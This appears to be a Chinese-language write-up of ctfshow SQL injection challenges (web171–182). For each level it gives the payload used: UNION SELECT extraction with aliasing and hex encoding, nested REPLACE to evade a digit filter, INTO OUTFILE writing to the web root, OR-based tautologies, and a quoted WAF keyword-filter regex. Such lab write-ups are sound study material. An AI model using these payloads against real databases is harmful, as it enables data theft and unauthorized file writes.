web171
使用sqlmap是没有灵魂的,我尽量手注,
在这一道题我们可以看见一共是24个,同时查询的是ID,我们猜测id实际上不止24个,但直接是无法查询到更多数据,推测是
代码语言:javascript复制select username,password from user where username !='flag' and id = ".$_GET['id'];
我们可以构造9999’ or id=’26在前一句命令没有执行的情况下,去强行跳转执行,得到flag。
web172
TIP: 撸猫为主,要什么flag?
这道题SQL语句与上一道一样,但是多了限制条件
代码语言:javascript复制//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
代码语言:javascript复制9999' union select id,password from ctfshow_user2 where username = 'flag
web173
真就是花式吊打,上一道题的构造直接可以使用因为flag是出现在username中的,我们可以在使用联合查询的时候直接不去查username,查询两次id,因为两个都是id的话会有问题,定义一个别名就行。
代码语言:javascript复制9999' union select id as '12',id,password from ctfshow_user3 where username = 'flag
也可以对username进行编码
代码语言:javascript复制9999' union select id,hex(username),password from ctfshow_user3 where username = 'flag
web174
在返回逻辑中过滤掉了数字
代码语言:javascript复制0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' #
得到的flag一一替换便可以得到真正的flag
Web175
代码语言:javascript复制0' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --
web176
好吧直接万能注入就行了,看别的博客上说是过滤了select……构造: 1’or 1=1– -
Web177
这一个题目,这个过滤了空格….. 1’and’1’=’1
Web178
似乎是多过滤了什么,又似乎是什么都没有过滤。
web182
代码语言:javascript复制//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |*|x09|x0a|x0b|x0c|x00|x0d|xa0|x23|#|file|into|select|flag/i', $str);
}
给出了后端过滤的内容,过滤了into,select,flag等,这样就不能进行联合注入了。